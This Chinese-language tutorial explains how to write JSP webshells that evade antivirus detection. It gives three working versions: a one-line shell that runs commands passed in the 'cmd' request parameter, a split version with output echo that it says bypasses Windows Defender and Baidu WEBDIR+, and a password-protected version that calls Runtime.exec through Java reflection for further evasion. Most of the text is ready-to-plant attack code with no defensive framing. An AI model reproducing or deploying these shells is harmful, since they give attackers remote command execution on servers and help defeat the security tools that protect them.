从一句话开始

首先从一句话角度来做,给出JSP的一句话

这个Webshell是会直接被Windows Defender杀的,百度WEBDIR+也会杀

  1. <% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

尝试拆开一句话,再加入回显和消除乱码,得到这样的代码

  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3. Runtime rt = Runtime.getRuntime();
  4. String cmd = request.getParameter("cmd");
  5. Process process = rt.exec(cmd);
  6. java.io.InputStream in = process.getInputStream();
  7. // 回显
  8. out.print("
  9. <pre>");
  10. // 网上流传的回显代码略有问题,建议采用这种方式
  11. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  12. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  13. String s = null;
  14. while ((s = stdInput.readLine()) != null) {
  15. out.println(s);
  16. }
  17. out.print("</pre>");
  18. %>

绕过了Windows Defender和百度WEBDIR+

然而我们不能满足于当前的情况,因为这些平台的查杀力度并不是很强

再这个基础上,可以加入反射调用来做进一步的免杀

  1. <%@ page language="java" pageEncoding="UTF-8" %>
  2. <%
  3. // 加入一个密码
  4. String PASSWORD = "password";
  5. String passwd = request.getParameter("pwd");
  6. String cmd = request.getParameter("cmd");
  7. if (!passwd.equals(PASSWORD)) {
  8. return;
  9. }
  10. // 反射调用
  11. Class rt = Class.forName("java.lang.Runtime");
  12. java.lang.reflect.Method gr = rt.getMethod("getRuntime");
  13. java.lang.reflect.Method ex = rt.getMethod("exec", String.class);
  14. Process process = (Process) ex.invoke(gr.invoke(null), cmd);
  15. // 类似上文做回显
  16. java.io.InputStream in = process.getInputStream();
  17. out.print("
  18. <pre>");
  19. java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
  20. java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
  21. String s = null;
  22. while ((s = stdInput.readLine()) != null) {
  23. out.println(s);
  24. }
  25. out.print("</pre>");
  26. %>

参考 https://tttang.com/archive/1315/